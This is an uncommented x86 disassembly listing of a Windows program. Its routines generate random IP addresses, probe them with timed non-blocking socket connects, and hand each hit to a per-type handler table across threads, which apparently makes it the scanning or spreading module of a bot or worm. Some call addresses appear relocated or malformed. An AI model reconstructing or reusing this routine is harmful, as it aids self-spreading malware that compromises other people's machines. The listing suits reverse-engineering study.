cmp eax, 0FFFFFFFFh push esi jz loc_40C24E shl eax, 6 xor ebx, ebx cmp dword_431814[eax], ebx jz loc_40C24E push 5 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C003 mov eax, dword_429078 push edi mov esi, offset dword_4CB50C push 104h push esi push ebx mov dword_4CB71C, eax mov dword_4CB718, ebx nop call near ptr 2690000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CB610 call sub_41BD70 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CB508, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CB7A0, eax jnz short loc_40BE2F lea eax, [ebp+arg_10] push eax push offset dword_4CB720 call sub_41BD70 add esp, 0Ch mov dword_4CB7A4, 1 jmp short loc_40BE49 ; --------------------------------------------------------------------------- loc_40BE2F: ; CODE XREF: sub_40BD7C+94j lea eax, [ebp+arg_90] push eax push offset dword_4CB720 call sub_41BD70 add esp, 0Ch mov dword_4CB7A4, ebx loc_40BE49: ; CODE XREF: sub_40BD7C+B1j push esi lea eax, [ebp+var_204] push dword_4CB71C push offset unk_42C208 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3AD add esp, 1Ch mov dword_4CB714, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB508 push offset byte_412155 push ebx push ebx nop call near ptr 26A0586h mov ecx, dword_4CB714 imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40BEB7 loc_40BEA5: ; CODE XREF: sub_40BD7C+139j cmp dword_4CB7A8, ebx jnz short loc_40BED2 push 32h call near ptr 26A053Bh nop jmp short loc_40BEA5 ; --------------------------------------------------------------------------- loc_40BEB7: ; CODE XREF: sub_40BD7C+127j call near ptr 26A0EA9h nop push eax lea eax, [ebp+var_204] push offset unk_431E60 push eax call sub_41C006 add esp, 0Ch loc_40BED2: ; CODE XREF: sub_40BD7C+12Fj lea eax, [ebp+var_204] push eax call sub_415CEE mov eax, dword_4C9040 mov esi, offset dword_4CB7B4 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CB9C4, eax mov dword_4CB9C0, ebx call near ptr 2690000h nop push 103h push edi push offset dword_4CB8B8 call sub_41BD70 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CB7B0, eax mov eax, [ebp+arg_138] pop edi mov dword_4CBA48, eax push 7Fh jnz short loc_40BF53 lea eax, [ebp+arg_10] push eax push offset dword_4CB9C8 call sub_41BD70 add esp, 0Ch mov dword_4CBA4C, 1 jmp short loc_40BF6D ; --------------------------------------------------------------------------- loc_40BF53: ; CODE XREF: sub_40BD7C+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CB9C8 call sub_41BD70 add esp, 0Ch mov dword_4CBA4C, ebx loc_40BF6D: ; CODE XREF: sub_40BD7C+1D5j push esi lea eax, [ebp+var_204] push dword_4CB9C4 push offset unk_431E2C push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3AD add esp, 1Ch mov dword_4CB9BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB7B0 push offset word_40F37A push ebx push ebx nop call near ptr 26A0586h mov ecx, dword_4CB9BC imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40BFDB loc_40BFC9: ; CODE XREF: sub_40BD7C+25Dj cmp dword_4CBA50, ebx jnz short loc_40BFF6 push 32h nop call near ptr 26A053Bh jmp short loc_40BFC9 ; --------------------------------------------------------------------------- loc_40BFDB: ; CODE XREF: sub_40BD7C+24Bj nop call near ptr 26A0EA9h push eax lea eax, [ebp+var_204] push offset unk_431DF8 push eax call sub_41C006 add esp, 0Ch loc_40BFF6: ; CODE XREF: sub_40BD7C+253j lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C003: ; CODE XREF: sub_40BD7C+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43181C[ecx], ebx jz loc_40C12C push 7 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C126 mov eax, dword_4CC050 cmp [ebp+arg_90], bl mov dword_4CB474, eax mov eax, [ebp+arg_110] mov dword_4CB468, eax mov eax, [ebp+arg_138] mov dword_4CB470, ebx mov dword_4CB4F8, eax push 7Fh jnz short loc_40C077 lea eax, [ebp+arg_10] push eax push offset dword_4CB478 call sub_41BD70 add esp, 0Ch mov dword_4CB4FC, 1 jmp short loc_40C091 ; --------------------------------------------------------------------------- loc_40C077: ; CODE XREF: sub_40BD7C+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CB478 call sub_41BD70 add esp, 0Ch mov dword_4CB4FC, ebx loc_40C091: ; CODE XREF: sub_40BD7C+2F9j push dword_4CB474 lea eax, [ebp+var_204] push offset unk_431DC8 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3AD add esp, 18h mov dword_4CB46C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB468 push offset dword_40F0D8 push ebx push ebx nop call near ptr 26A0586h mov ecx, dword_4CB46C imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C0FE loc_40C0EC: ; CODE XREF: sub_40BD7C+380j cmp dword_4CB500, ebx jnz short loc_40C119 push 32h nop call near ptr 26A053Bh jmp short loc_40C0EC ; --------------------------------------------------------------------------- loc_40C0FE: ; CODE XREF: sub_40BD7C+36Ej nop call near ptr 26A0EA9h push eax lea eax, [ebp+var_204] push offset unk_431D90 push eax call sub_41C006 add esp, 0Ch loc_40C119: ; CODE XREF: sub_40BD7C+376j lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C126: ; CODE XREF: sub_40BD7C+2A8j mov eax, [ebp+arg_130] loc_40C12C: ; CODE XREF: sub_40BD7C+298j shl eax, 6 cmp dword_431818[eax], ebx jz loc_40C24E push 3 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C24E mov esi, offset dword_4CBCE4 push 104h push esi push ebx call near ptr 2690000h nop push 5Ch push esi call sub_41C5B0 pop ecx cmp eax, ebx pop ecx jz short loc_40C16D mov [eax], bl loc_40C16D: ; CODE XREF: sub_40BD7C+3EDj mov eax, dword_42907C mov dword_4CBDFC, ebx mov dword_4CBDE8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CBA5C call sub_41C006 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CBA58, eax mov ecx, [ebp+arg_138] push esi push dword_4CBDE8 mov dword_4CBDF4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CBDF8, ecx call sub_40A9FA pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C190 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3AD add esp, 20h mov dword_4CBDF0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CBA58 push offset sub_40FAA3 push ebx push ebx nop call near ptr 26A0586h mov ecx, dword_4CBDF0 imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C226 loc_40C214: ; CODE XREF: sub_40BD7C+4A8j cmp dword_4CBE04, ebx jnz short loc_40C241 push 32h nop call near ptr 26A053Bh jmp short loc_40C214 ; --------------------------------------------------------------------------- loc_40C226: ; CODE XREF: sub_40BD7C+496j nop call near ptr 26A0EA9h push eax lea eax, [ebp+var_204] push offset unk_431D5C push eax call sub_41C006 add esp, 0Ch loc_40C241: ; CODE XREF: sub_40BD7C+49Ej lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C24E: ; CODE XREF: sub_40BD7C+14j ; sub_40BD7C+25j ... pop esi pop ebx leave retn sub_40BD7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C252 proc near ; CODE XREF: sub_40C3D3:loc_40C444p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4C9450h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CAB0 add esp, 0Ch push [ebp+arg_0] call dword_4C922C inc eax push eax mov [ebp+arg_0], eax call dword_4C9300 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CAB0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C29A proc near ; CODE XREF: sub_40C3D3+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B960 cmp eax, 0Fh pop ecx jbe short loc_40C2C2 xor eax, eax jmp short loc_40C333 ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_40C29A+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CA73 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C2EF call sub_41C062 mov [ebp+var_C], eax loc_40C2EF: ; CODE XREF: sub_40C29A+4Bj cmp [ebp+var_8], esi jnz short loc_40C2FC call sub_41C062 mov [ebp+var_8], eax loc_40C2FC: ; CODE XREF: sub_40C29A+58j cmp [ebp+var_4], esi jnz short loc_40C309 call sub_41C062 mov [ebp+var_4], eax loc_40C309: ; CODE XREF: sub_40C29A+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C315 call sub_41C062 loc_40C315: ; CODE XREF: sub_40C29A+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4C9450[ecx*8], eax loc_40C333: ; CODE XREF: sub_40C29A+26j pop esi leave retn sub_40C29A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C336 proc near ; CODE XREF: ___:0040BBADp ; sub_40C3D3+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4C9384 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C35F xor eax, eax jmp short loc_40C3CE ; --------------------------------------------------------------------------- loc_40C35F: ; CODE XREF: sub_40C336+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4C9304 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4C93A0 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4C92AC mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4C92EC push esi mov edi, eax call dword_4C939C xor eax, eax cmp edi, ebx setnle al loc_40C3CE: ; CODE XREF: sub_40C336+27j pop edi pop esi pop ebx leave retn sub_40C336 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3D3 proc near ; DATA XREF: sub_40C3D3+34Fo var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26B0D7Ah push eax call sub_41C058 mov ebx, esi pop ecx imul ebx, 234h loc_40C41A: ; CODE XREF: sub_40C3D3+200j mov eax, dword_43C244[ebx] cmp dword_4C9454[eax*8], 0 jz loc_40C5D8 cmp [ebp+var_10], 0 push eax jz short loc_40C444 lea eax, [ebp+var_150] push eax call sub_40C29A pop ecx jmp short loc_40C449 ; --------------------------------------------------------------------------- loc_40C444: ; CODE XREF: sub_40C3D3+60j call sub_40C252 loc_40C449: ; CODE XREF: sub_40C3D3+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43C244[ebx] push [ebp+var_3C] push edi call dword_4C9390 push eax lea eax, [ebp+var_28C] push offset unk_431EBC push eax call sub_41C006 lea eax, [ebp+var_28C] push eax lea eax, dword_43C040[ebx] push eax call sub_41C006 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C336 add esp, 2Ch cmp eax, 1 jnz loc_40C5C8 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C51D push offset dword_4CB450 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4C9390 push eax lea eax, [ebp+var_28C] push offset unk_431E94 push eax call sub_41C006 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C4FF cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C4F3 lea eax, [ebp+var_140] loc_40C4F3: ; CODE XREF: sub_40C3D3+118j push eax push [ebp+var_40] call sub_409862 add esp, 14h loc_40C4FF: ; CODE XREF: sub_40C3D3+FDj lea eax, [ebp+var_28C] push eax call sub_415CEE mov [esp+29Ch+var_29C], offset dword_4CB450 nop call near ptr 77F7E300h jmp loc_40C5C8 ; --------------------------------------------------------------------------- loc_40C51D: ; CODE XREF: sub_40C3D3+CDj push edi call dword_4C9390 push eax lea eax, [ebp+var_208] push eax call sub_41C006 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C006 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C561 lea eax, [ebp+var_140] loc_40C561: ; CODE XREF: sub_40C3D3+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41C006 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43180C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5C8: ; CODE XREF: sub_40C3D3+C3j ; sub_40C3D3+145j push 7D0h nop call near ptr 26A053Bh jmp loc_40C41A ; --------------------------------------------------------------------------- loc_40C5D8: ; CODE XREF: sub_40C3D3+55j push esi call sub_40B6C9 pop ecx push 0 call near ptr 2700000h nop loc_40C5E7: ; DATA XREF: sub_401AC7+1F1Ao ; sub_401AC7+5BC4o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4C9344 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4C9450[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD7C push 0Bh call sub_40B5F5 add esp, 150h cmp eax, ebx jnz short loc_40C6B5 mov esi, offset dword_4CB450 push esi call near ptr 270074Fh nop push 80000400h push esi nop call near ptr 27005ACh test eax, eax jnz short loc_40C6B5 lea eax, [ebp+var_1CC] push offset unk_431FA0 push eax call sub_41C006 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C69F push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409862 add esp, 14h loc_40C69F: ; CODE XREF: sub_40C3D3+2ADj lea eax, [ebp+var_1CC] push eax call sub_415CEE pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6B5: ; CODE XREF: sub_40C3D3+277j ; sub_40C3D3+293j mov eax, [ebp+var_2C] mov esi, dword_427088 mov edi, ebx mov dword_4C9454[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C782 loc_40C6D3: ; CODE XREF: sub_40C3D3+3A9j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F6C push eax call sub_41C006 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3AD mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43C244[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3D3 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C74D loc_40C742: ; CODE XREF: sub_40C3D3+378j cmp [ebp+var_4], ebx jnz short loc_40C774 push 1Eh call esi jmp short loc_40C742 ; --------------------------------------------------------------------------- loc_40C74D: ; CODE XREF: sub_40C3D3+36Dj call near ptr 26A0EA9h nop push eax lea eax, [ebp+var_1CC] push offset unk_431F34 push eax call sub_41C006 lea eax, [ebp+var_1CC] push eax call sub_415CEE add esp, 10h loc_40C774: ; CODE XREF: sub_40C3D3+372j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6D3 loc_40C782: ; CODE XREF: sub_40C3D3+2FAj cmp [ebp+var_30], ebx jz loc_40C82C mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C797: ; CODE XREF: sub_40C3D3+464j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4C9450[eax*8] push eax call dword_4C9390 push eax lea eax, [ebp+var_1CC] push offset unk_431EF4 push eax call sub_41C006 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7E5 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409862 add esp, 14h loc_40C7E5: ; CODE XREF: sub_40C3D3+3F3j lea eax, [ebp+var_1CC] push eax call sub_415CEE mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4C9454[eax*8], ebx call esi push 0Bh call sub_40B5F5 cmp eax, 1 pop ecx jnz short loc_40C81C push offset dword_4CB450 call near ptr 270074Fh nop loc_40C81C: ; CODE XREF: sub_40C3D3+43Cj push [ebp+var_2C] call sub_40B6C9 pop ecx push ebx nop call near ptr 2700000h loc_40C82C: ; CODE XREF: sub_40C3D3+3B2j ; sub_40C3D3+471j mov eax, [ebp+var_2C] cmp dword_4C9454[eax*8], 1 jnz loc_40C797 push 7D0h call esi jmp short loc_40C82C sub_40C3D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C846 proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4C9304 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4C9384 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C904 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4C92AC mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43C24C[ecx], esi jz short loc_40C904 push [ebp+var_38] push [ebp+var_28] call dword_4C9390 push eax mov edi, offset dword_4CBE14 push offset dword_431FD4 push edi call sub_41C006 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409862 push edi call sub_415CEE add esp, 28h loc_40C904: ; CODE XREF: sub_40C846+5Dj ; sub_40C846+7Ej push esi call dword_4C939C pop edi xor eax, eax pop esi leave retn 4 sub_40C846 endp ; --------------------------------------------------------------------------- byte_40C913 db 55h ; DATA XREF: sub_401AC7+5FA4o dd 0EC81EC8Bh, 134h, 85D8B53h, 2B6A5756h, 8D59F38Bh, 0FFFF4CBDh dd 8BA5F3FFh, 42708835h, 0A483C700h, 1000000h, 33000000h dd 0D075FFFFh, 0FFE075FFh, 4C939015h, 858D5000h, 0FFFFFECCh dd 431FFC68h, 0A7E85000h, 8D0000F6h, 0FFFECC85h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 43C04005h, 0F1E85000h dd 830000F3h, 458D1CC4h, 858D50F8h, 0FFFFFF4Ch, 46685057h dd 570040C8h, 3BECE857h, 3B900229h, 0FC4589C7h, 7D390B74h dd 6A0675F4h, 0EBD6FF32h, 0FC75FFF5h, 27364BE8h, 0B3FF9002h dd 8Ch, 0A8BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0DDE85008h dd 83000100h, 75FF0CC4h, 2C15FF08h, 40004C92h, 8458950h dd 930015FFh, 4589004Ch, 8458D08h, 8D50046Ah, 0E850E045h dd 100B4h, 0E90CC483h, 0FFFFFF3Dh dword_40CA04 dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401AC7+5CCAo dd 0FF50BD8Dh, 0A5F3FFFFh, 7088358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E475FFD4h, 939015FFh, 8D50004Ch, 0FFFED085h dd 205068FFh, 0E8500043h, 0F5B6h, 0FED0858Dh, 0FF68FFFFh dd 50000001h, 69E0458Bh, 234C0h, 0C0400500h, 0E8500043h dd 0F300h, 8D1CC483h, 8D50FC45h, 0FFFF5085h, 685057FFh dd 40C846h, 0E8905757h, 2293AFAh, 4589C73Bh, 390B7408h dd 675F87Dh, 0D6FF326Ah, 75FFF5EBh, 59E89008h, 0FF022735h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0D4458BD6h, 74D8453Bh dd 0D445FF08h, 0FFFF6DE9h, 0E475FFFFh, 939015FFh, 8D50004Ch dd 0FFFED085h, 202468FFh, 0E8500043h, 0F526h, 0D0858D57h dd 0FFFFFFFEh, 8D50EC75h, 0FFFF5485h, 0B5FF50FFh, 0FFFFFF50h dd 0FFCD65E8h, 0E075FFFFh, 0FFEBC4E8h, 24C483FFh, 5E5FC033h dd 4C2C95Bh db 0 ; =============== S U B R O U T I N E ======================================= sub_40CB11 proc near ; CODE XREF: sub_40CD85+Ep ; sub_40CD85+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB11 endp ; =============== S U B R O U T I N E ======================================= sub_40CB1B proc near ; CODE XREF: sub_40CD85+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BC9B mov edi, eax pop ecx test edi, edi jz short loc_40CB4D push ebx push 0 push edi call sub_41BD10 push ebx push [esp+1Ch+arg_0] push edi call sub_41CAB0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB4D: ; CODE XREF: sub_40CB1B+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB55 proc near ; CODE XREF: sub_40CC4F+18p ; sub_40CCC9+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BC9B mov esi, eax pop ecx test esi, esi jz short loc_40CBA1 push edi push 0 push esi call sub_41BD10 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CAB0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CAB0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBA1: ; CODE XREF: sub_40CB55+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB55 endp ; =============== S U B R O U T I N E ======================================= sub_40CBAA proc near ; CODE XREF: sub_40CC4F+5Ep ; sub_40CC4F+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBBA push eax call sub_41BA31 pop ecx loc_40CBBA: ; CODE XREF: sub_40CBAA+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBAA endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC4F+20p ; sub_40CD2A+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CBF0 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BC9B mov edi, eax pop ecx test edi, edi jnz short loc_40CBF4 loc_40CBF0: ; CODE XREF: sub_40CBC3+Dj xor al, al jmp short loc_40CC4B ; --------------------------------------------------------------------------- loc_40CBF4: ; CODE XREF: sub_40CBC3+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BD10 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC19 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC33 ; --------------------------------------------------------------------------- loc_40CC19: ; CODE XREF: sub_40CBC3+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC33: ; CODE XREF: sub_40CBC3+54j push eax call sub_41CAB0 add esp, 0Ch push dword ptr [esi] call sub_41BA31 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC4B: ; CODE XREF: sub_40CBC3+2Fj pop edi pop esi pop ebx retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC4F proc near ; CODE XREF: sub_40CD85+89p ; sub_40CD85+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4C91BC call sub_40CB55 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+var_4] inc eax push eax call sub_41BC9B mov edi, eax pop ecx test edi, edi jnz short loc_40CC89 xor al, al jmp short loc_40CCC5 ; --------------------------------------------------------------------------- loc_40CC89: ; CODE XREF: sub_40CC4F+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BD10 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CAB0 add esp, 18h mov ecx, esi call sub_40CBAA mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBAA mov al, 1 loc_40CCC5: ; CODE XREF: sub_40CC4F+38j pop edi pop esi leave retn sub_40CC4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCC9 proc near ; CODE XREF: sub_40CCFD+14p ; sub_40CD1A+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB55 mov ecx, esi call sub_40CBAA mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCC9 endp ; =============== S U B R O U T I N E ======================================= sub_40CCFD proc near ; CODE XREF: sub_40CD85+F0p ; sub_40CD85+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B960 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCC9 pop esi retn 4 